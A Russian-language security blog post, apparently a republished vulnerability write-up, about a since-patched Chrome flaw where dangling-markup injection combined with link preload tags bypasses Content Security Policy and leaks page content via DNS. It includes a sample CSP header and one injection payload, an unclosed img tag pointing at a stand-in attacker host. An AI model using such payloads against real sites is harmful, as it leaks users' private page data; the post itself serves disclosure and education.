Обход политики безопасности контента в Chrome через предзагрузку ссылки

Автор: Keith Makan

В этой заметке мы поговорим об уязвимости, найденной мной некоторое время назад в браузере Chrome и позволяющей обходить политику безопасности контента (Content Security Policy; CSP). Помимо обхода CSP эта брешь позволяет реализовать информационную утечку у соединения по протоколу SSL/TLS. Об этой проблеме было сообщено пару лет назад и после исправления я решил стряхнуть пыль с этой статьи, внести кое-какие корректировки и поделиться с вами полезной информацией.

CSP представляет собой конфигурацию, передаваемую браузерам через протокол HTTP, и позволяет создавать белые списки источников «активного» контента (в частности скриптов) для защиты от межсайтового скриптинга. Политика безопасности устанавливает правила получения ресурсов и в целом любых HTTP-транзакций с хостом. Типичная конфигурация CSP выглядит так:

content-security-policy:
default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* ‘unsafe-inline’ ‘unsafe-eval’ fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: ‘self’ *.m-freeway.com;style-src data: blob: ‘unsafe-inline’ *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com ‘self’ chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;

В заголовке выше перечислены типы информации и атрибуты, защищаемые от получения из неавторизованных источников. Когда браузер пытается запросить активные скрипты, указанные в документе, происходит проверка на предмет соответствия c правилами веб-сервера.

После ознакомления с механикой CSP рассмотрим случаи, когда CSP не работает, и исследования этой технологии от специалистов в области безопасности. Сотрудник Google, известный под именем lcamptuf, написал о реализации разных пакостей с объектной моделью документа (DOM) и содержимом страницы даже в случае, когда настроена политика безопасности контента. По сути, была сделана попытка ответить на следующий вопрос:

Как будут выглядеть атаки, если политика будет настроена должным образом?

Среди представленных техник была идея «инъекции висячего контента». Прекрасная концепция против браузеров с идеальными настройками безопасности. В подобного рода атаках, связанных с инъекциями висячего контента, мы внедряем некорректный HTML-тег и ожидаем, что браузер дополнит конструкцию, интерпретируя содержимое, находящееся вокруг тега. По сути, внедрение подобного рода принуждает браузер использовать содержимое страницы как часть тега: разметки, картинок, text area и так далее.

На первый взгляд подобные манипуляции, связанные с нарушением функциональности веб-страницы, кажутся безобидными, однако, как выясняется, могут возникнуть серьезные проблемы безопасности.

Рассмотрим конкретный пример. На рисунке ниже показана страница для реализации атаки с использованием некорректных тегов:

Рисунок 1: Пример инъекции некорректного тега

В страницу, показанную выше, добавлен тег <img> с полезной нагрузкой:

https://[domain]/[path]?query=<img src=»https://attacker.com

Поскольку тег <img> испорчен, Chrome попытается исправить ситуацию посредством смежной страницы, являющейся частью URL и имени домена в теге <img>. В итоге Chrome попытается воспользоваться именем домена. Единственное, что портит всю малину – CSP, и нам нужна ссылка для преобразования DNS-имени внутри содержимого страницы.

Найденная мной уязвимость связана с поведением тега <link>, а конкретно с конструкцией <link rel=’preload’ href=’[URL]’ />. Эти теги используются в «механизмах связывания суб-ресурсов» и позволяют связывать документы вместе для совместного использования JavaScript, CSS, шрифтов и так далее. Кроме того, браузер будет предварительно преобразовать имена доменов перед загрузкой страницы. Для этой цели и нужны теги ссылок с атрибутом preload.

На рисунке ниже показан DNS-трафик, генерируемый испорченным тегом с предзагрузкой ссылок, внедренным в защищенную страницу. Вы можете заметить некоторые ключевые HTML-слова в DNS-именах:

Рисунок 2: Трафик, генерируемый во время использования тегов с предзагрузкой ссылок

На рисунке выше видно, как информация, ранее зашифрованная в TLS-потоке, теперь передается в незащищенном виде через DNS-запросы. Вероятно, не очень полезная фитча J.

На сегодня все. Успешного хакинга!

Ссылки

Источник: securitylab.ru